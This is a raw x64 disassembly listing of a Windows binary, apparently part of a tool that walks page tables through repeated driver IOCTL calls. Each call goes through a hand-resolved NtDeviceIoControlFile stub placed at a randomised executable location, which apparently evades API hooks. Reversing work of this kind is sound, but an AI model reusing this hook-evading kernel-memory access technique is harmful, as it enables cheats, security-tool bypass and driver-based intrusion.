movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcfc], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x3a0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1070]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcfc]
lea r9, [rbp + 0xcfc]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006704a
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x3b8]
test rbx, rbx
je 0x14006704a
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400659b8
cmp word [rax], r14w
jne 0x1400659b8
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400659b8
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400659b8
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400659b8
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x1400657f4
inc rdi
cmp rdi, r15
jb 0x1400657d0
jmp 0x1400659b8
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400659b8
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400659b8
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x8a354], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x88fd0]
call fcn.1400be1b0
lea rcx, [rbp + 0x88fd0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x88fd0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xa8fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140065890
mov r8d, 0x1000
lea rdx, [rbp + 0xa8fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rdi, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd00]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd00], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x3a0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x3a0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1070]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd00]
lea r9, [rbp + 0xd00]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006704a
mov rsi, qword [rsp + 0x50]
test bl, 1
je 0x14006704a
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
shr rax, 0x1e
and rbx, rcx
and eax, 0x1ff
mov qword [rbp + 0x3d8], 0
xor edx, edx
mov qword [rbp + 0x3e0], 0
xorps xmm0, xmm0
mov qword [rbp + 0x3e8], 0
lea rcx, [0x1401fded8]
mov qword [rbp + 0x3c8], 8
lea rax, [rbx + rax*8]
mov qword [rbp + 0x3d0], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
movups xmmword [rbp + 0x1080], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x50], rsi
mov ebx, 0x5a4d
mov rdi, rax
test rax, rax
je 0x140065cbd
cmp word [rax], bx
jne 0x140065cbd
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x50], rsi
cmp dword [rax + rdi], 0x4550
jne 0x140065cbd
mov eax, dword [rax + rdi + 0x88]
mov qword [rsp + 0x50], rsi
add rax, rdi
je 0x140065cbd
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
mov qword [rsp + 0x50], rsi
test r15, r15
je 0x140065cb8
mov qword [rsp + 0x50], rsi
nop word [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140065af4
inc rbx
cmp rbx, r15
jb 0x140065ad0
jmp 0x140065cb8
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140065cb8
mov esi, dword [rcx + 4]
test esi, esi
js 0x140065cb8
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x8b6e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x8a360]
call fcn.1400be1b0
lea rcx, [rbp + 0x8a360]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x8a360]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xa9fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140065b90
mov r8d, 0x1000
lea rdx, [rbp + 0xa9fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd04]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd04], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x3c8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x3c8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1080]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd04]
lea r9, [rbp + 0xd04]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006704a
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x3e0]
test rdi, rdi
je 0x14006704a
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140065f48
cmp word [rax], bx
jne 0x140065f48
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140065f48
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140065f48
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140065f48
nop word [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140065d84
inc rbx
cmp rbx, r15
jb 0x140065d60
jmp 0x140065f48
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140065f48
mov esi, dword [rcx + 4]
test esi, esi
js 0x140065f48
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x8ca74], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x8b6f0]
call fcn.1400be1b0
lea rcx, [rbp + 0x8b6f0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x8b6f0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xaafe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140065e20
mov r8d, 0x1000
lea rdx, [rbp + 0xaafe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd08]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd08], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc38]
lea rax, [rbp + 0x3c8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x3c8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1080]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd08]
lea r9, [rbp + 0xd08]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006704a
test dil, 1
je 0x14006704a
movzx eax, dil
shr al, 7
test al, 1
je 0x140065f7c
movabs rax, 0xfffffc0000000
and rdi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x3fffffff
add rdi, rax
jmp 0x140066ac0
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x400], 0
xor edx, edx
mov qword [rbp + 0x408], 0
xorps xmm0, xmm0
mov qword [rbp + 0x410], 0
movups xmmword [rbp + 0x1090], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp + 0x3f0], 8
mov qword [rbp + 0x3f8], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
jne 0x14006601c
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xc38], rax
jmp 0x14006626c
mov rcx, qword [rsp + 0x50]
mov qword [rbp + 0xc38], rcx
cmp word [rax], bx
jne 0x14006626c
movsxd rax, dword [rax + 0x3c]
mov qword [rbp + 0xc38], rcx
cmp dword [rax + rdi], 0x4550
jne 0x14006626c
mov eax, dword [rax + rdi + 0x88]
mov qword [rbp + 0xc38], rcx
add rax, rdi
je 0x14006626c
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
mov qword [rbp + 0xc38], rcx
test r14, r14
je 0x140066267
mov qword [rbp + 0xc38], rcx
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400660b4
inc rbx
cmp rbx, r14
jb 0x140066091
jmp 0x140066267
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140066267
mov esi, dword [rcx + 4]
test esi, esi
js 0x140066267
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x8de04], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x8ca80]
call fcn.1400be1b0
lea rcx, [rbp + 0x8ca80]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x8ca80]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xeafe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140066144
mov r8d, 0x1000
lea rdx, [rbp + 0xeafe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd0c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd0c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp + 0x3f0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x3f0]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1090]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd0c]
lea r9, [rbp + 0xd0c]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006704a
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x408]
test rdi, rdi
je 0x14006704a
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400664e6
cmp word [rax], bx
jne 0x1400664e6
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400664e6
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400664e6
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400664e6
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140066326
inc rbx
cmp rbx, r15
jb 0x140066302
jmp 0x1400664e6
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400664e6
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400664e6
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x8f194], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x8de10]
call fcn.1400be1b0
lea rcx, [rbp + 0x8de10]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x8de10]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xabfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400663c0
mov r8d, 0x1000
lea rdx, [rbp + 0xabfe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc78]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc78], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x3f0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x3f0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1090]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc78]
lea r9, [rbp + 0xc78]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006704a
mov rsi, qword [rbp + 0xc38]
mov qword [rsp + 0x50], rsi
test dil, 1
je 0x14006704a
movzx eax, dil
shr al, 7
test al, 1
je 0x140066526
movabs rax, 0x3ffffffe00000
and rdi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x1fffff
add rdi, rax
jmp 0x140066ac0
mov rax, qword [rsp + 0x60]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x428], 0
xor edx, edx
mov qword [rbp + 0x430], 0
xorps xmm0, xmm0
mov qword [rbp + 0x438], 0
movups xmmword [rbp + 0x10a0], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp + 0x418], 8
mov qword [rbp + 0x420], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rbp + 0xc38], rsi
mov r14d, 0x5a4d
mov rdi, rax
test rax, rax
je 0x14006680c
cmp word [rax], r14w
jne 0x14006680c
movsxd rax, dword [rax + 0x3c]
mov qword [rbp + 0xc38], rsi
cmp dword [rax + rdi], 0x4550
jne 0x14006680c
mov eax, dword [rax + rdi + 0x88]
mov qword [rbp + 0xc38], rsi
add rax, rdi
je 0x14006680c
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xc38], rax
test r14, r14
je 0x140066806
mov qword [rbp + 0xc38], rax
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140066653
inc rbx
cmp rbx, r14
jb 0x140066630
jmp 0x140066806
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140066806
mov esi, dword [rcx + 4]
test esi, esi
js 0x140066806
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x90524], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x8f1a0]
call fcn.1400be1b0
lea rcx, [rbp + 0x8f1a0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x8f1a0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xacfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400666e3
mov r8d, 0x1000
lea rdx, [rbp + 0xacfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd10]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd10], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp + 0x418]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x418]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x10a0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd10]
lea r9, [rbp + 0xd10]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006704a
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x430]
test rbx, rbx
je 0x14006704a
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140066a90
cmp word [rax], r14w
jne 0x140066a90
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140066a90
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140066a90
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140066a90
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x1400668d4
inc rdi
cmp rdi, r15
jb 0x1400668b0
jmp 0x140066a90
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140066a90
mov esi, dword [rcx + 4]
test esi, esi
js 0x140066a90
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x918b4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x90530]
call fcn.1400be1b0
lea rcx, [rbp + 0x90530]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor r12d, r12d
mov edi, r12d
nop dword [rax + rax]
lea rcx, [rbp + 0x90530]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xadfe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140066970
mov r8d, 0x1000
lea rdx, [rbp + 0xadfe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rdi, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd14]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd14], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x418]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x418]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x10a0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd14]
lea r9, [rbp + 0xd14]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test edi, edi
js 0x14006704a
mov rax, qword [rbp + 0xc38]
mov qword [rsp + 0x50], rax
test bl, 1
je 0x14006704a
mov rdi, qword [rsp + 0x60]
movabs rax, 0x3fffffffff000
and edi, 0xfff
and rbx, rax
add rdi, rbx
test rdi, rdi
je 0x14006704a
mov rax, rdi
mov qword [rbp + 0x450], 0
and eax, 0xfff
mov qword [rbp + 0x458], 0
xorps xmm0, xmm0
mov qword [rbp + 0x460], 0
mov r13d, 0x1000
mov qword [rbp + 0x448], rdi
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rsp + 0x78]
mov dword [rsp + 0x58], eax
cmovae r13, qword [rsp + 0x78]
xor edx, edx
mov rax, qword [0x140329cf0]
